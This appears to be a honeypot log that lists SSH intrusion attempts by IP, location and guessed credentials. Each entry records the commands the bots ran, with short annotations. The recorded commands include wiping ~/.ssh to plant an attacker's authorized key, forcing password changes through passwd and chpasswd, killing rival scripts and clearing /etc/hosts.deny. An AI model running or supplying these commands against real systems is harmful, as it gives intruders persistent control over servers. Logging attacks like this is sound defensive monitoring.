$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "athens123\nC4hZr6tytLlb\nC4hZr6tytLlb"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "athens123\nC4hZr6tytLlb\nC4hZr6tytLlb\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nkkt8iVw6Q2Tu\nkkt8iVw6Q2Tu"|passwd|bash

$ echo "123456\nkkt8iVw6Q2Tu\nkkt8iVw6Q2Tu\n"|passwd

🎭 lantern_root_13 (180.108.46.6) — Nanjing, China · 1 session · 1 cmd

2026-07-01 02:22 EDT · as root/root123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 chateau_root_5 (144.91.104.226) — Lauterbourg, France · 1 session · 20 cmds

2026-07-01 02:21 EDT · as ftptest/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1234\ncuo5abQHU5aA\ncuo5abQHU5aA"|passwd|bash

$ Enter new UNIX password:

$ echo "1234\ncuo5abQHU5aA\ncuo5abQHU5aA\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 toucan_root_7 (179.43.9.2) — Jaicós, Brazil · 1 session · 20 cmds

2026-07-01 02:20 EDT · as manual/manual

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "manual\nJcyUrvi6K3HB\nJcyUrvi6K3HB"|passwd|bash

$ Enter new UNIX password:

$ echo "manual\nJcyUrvi6K3HB\nJcyUrvi6K3HB\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cosmo_root_2 (46.165.56.248) — Nizhny Tagil, Russia · 1 session · 20 cmds

2026-07-01 02:19 EDT · as postgres/qawsedrf

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "qawsedrf\nXQ6LIpBFd0Nf\nXQ6LIpBFd0Nf"|passwd|bash

$ Enter new UNIX password:

$ echo "qawsedrf\nXQ6LIpBFd0Nf\nXQ6LIpBFd0Nf\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_2 (43.160.215.203) — Singapore, Singapore · 1 session · 20 cmds

2026-07-01 02:13 EDT · as athens/athens123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "athens123\neVEvrxQiJRi9\neVEvrxQiJRi9"|passwd|bash

$ Enter new UNIX password:

$ echo "athens123\neVEvrxQiJRi9\neVEvrxQiJRi9\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crepe_root_5 (87.98.184.144) — Gravelines, France · 6 sessions · 6 cmds

2026-06-30 07:03 EDT · as root/blackcat, root/cryptolendify.2023

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -a ×6 // OS/kernel identification

🎭 crumpet_root_5 (172.94.9.215) — City of London, United Kingdom · 2 sessions · 2 cmds

2026-06-30 22:17 EDT · as root/Swissmp@2026, root/welcome@2025

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 ghost_root_38 (185.121.15.184) — Madrid, Spain · 2 sessions · 40 cmds

2026-06-30 23:44 EDT · as git/git2025, user/abc@123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "abc@123\ndHW1vvX82g5B\ndHW1vvX82g5B"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "abc@123\ndHW1vvX82g5B\ndHW1vvX82g5B\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "git2025\nUiS4VfjQiCH7\nUiS4VfjQiCH7"|passwd|bash

$ echo "git2025\nUiS4VfjQiCH7\nUiS4VfjQiCH7\n"|passwd

🎭 borscht_root_4 (45.195.221.26) — Moscow, Russia · 1 session · 19 cmds

2026-06-30 23:52 EDT · as root/ashish@123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:DNrw7mgXEyGQ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 steppe_root_5 (178.46.180.13) — Khanty-Mansiysk, Russia · 1 session · 1 cmd

2026-06-30 23:48 EDT · as root/nobodyasked@@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 rogue_root_24 (82.223.49.127) — Madrid, Spain · 1 session · 19 cmds

2026-06-30 23:47 EDT · as root/ashish@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:dwJtM9Ndpb6I"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 spice_2 (103.207.9.246) — Pune, India · 1 session · 20 cmds

2026-06-30 23:38 EDT · as user/abc@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "abc@123\n1qMgQdcDYPoI\n1qMgQdcDYPoI"|passwd|bash

$ Enter new UNIX password:

$ echo "abc@123\n1qMgQdcDYPoI\n1qMgQdcDYPoI\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_47 (43.132.215.237) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-30 23:35 EDT · as root/Swissmp@2026

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 silk_root_13 (182.61.14.89) — Beijing, China · 1 session · 19 cmds

2026-06-30 23:28 EDT · as root/@dmin2026

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:zM6eaV1rL3nL"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_45 (58.152.42.174) — Banyan Garden, Hong Kong · 1 session · 20 cmds

2026-06-30 23:12 EDT · as ftpuser/pass

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "pass\nurOD2MvGfDe6\nurOD2MvGfDe6"|passwd|bash

$ Enter new UNIX password:

$ echo "pass\nurOD2MvGfDe6\nurOD2MvGfDe6\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_46 (103.189.234.96) — Singapore, Singapore · 1 session · 20 cmds

2026-06-30 23:08 EDT · as ftpuser/pass

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "pass\nplVodYRvITwU\nplVodYRvITwU"|passwd|bash

$ Enter new UNIX password:

$ echo "pass\nplVodYRvITwU\nplVodYRvITwU\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 acai_root_4 (201.57.40.71) — São Luís, Brazil · 1 session · 1 cmd

2026-06-30 23:06 EDT · as root/123.Swissmp

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 pretzel_root_6 (87.106.239.83) — Essen, Germany · 6 sessions · 6 cmds

2026-06-30 06:05 EDT · as root/Nobodyasked!@2024, root/blackcat

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -a ×6 // OS/kernel identification

🎭 pretzel_root_10 (77.90.185.91) — Augsburg, Germany · 1 session · 1 cmd

2026-06-30 22:34 EDT · as swissmp/swissmp@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 wok_root_13 (150.138.182.190) — Jinan, China · 1 session · 1 cmd

2026-06-30 22:22 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 baguette_root_4 (176.28.12.21) — Strasbourg, France · 5 sessions · 5 cmds

2026-06-30 06:35 EDT · as root/blackcat, root/nobodyasked@03

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 bike_root_5 (46.235.42.53) — Eindhoven, The Netherlands · 3 sessions · 3 cmds

2026-06-30 07:58 EDT · as root/blackcat, root/nobodyasked82

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 hanbok (175.45.204.121) — Seongnam-si, South Korea · 1 session · 20 cmds

2026-06-30 19:58 EDT · as gems/gems123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "gems123\nR0CGyxwakhz0\nR0CGyxwakhz0"|passwd|bash

$ Enter new UNIX password:

$ echo "gems123\nR0CGyxwakhz0\nR0CGyxwakhz0\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gouda_root_5 (91.92.40.6) — Amsterdam, The Netherlands · 1 session · 9 cmds

2026-06-30 19:53 EDT · as root/123qwerty

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 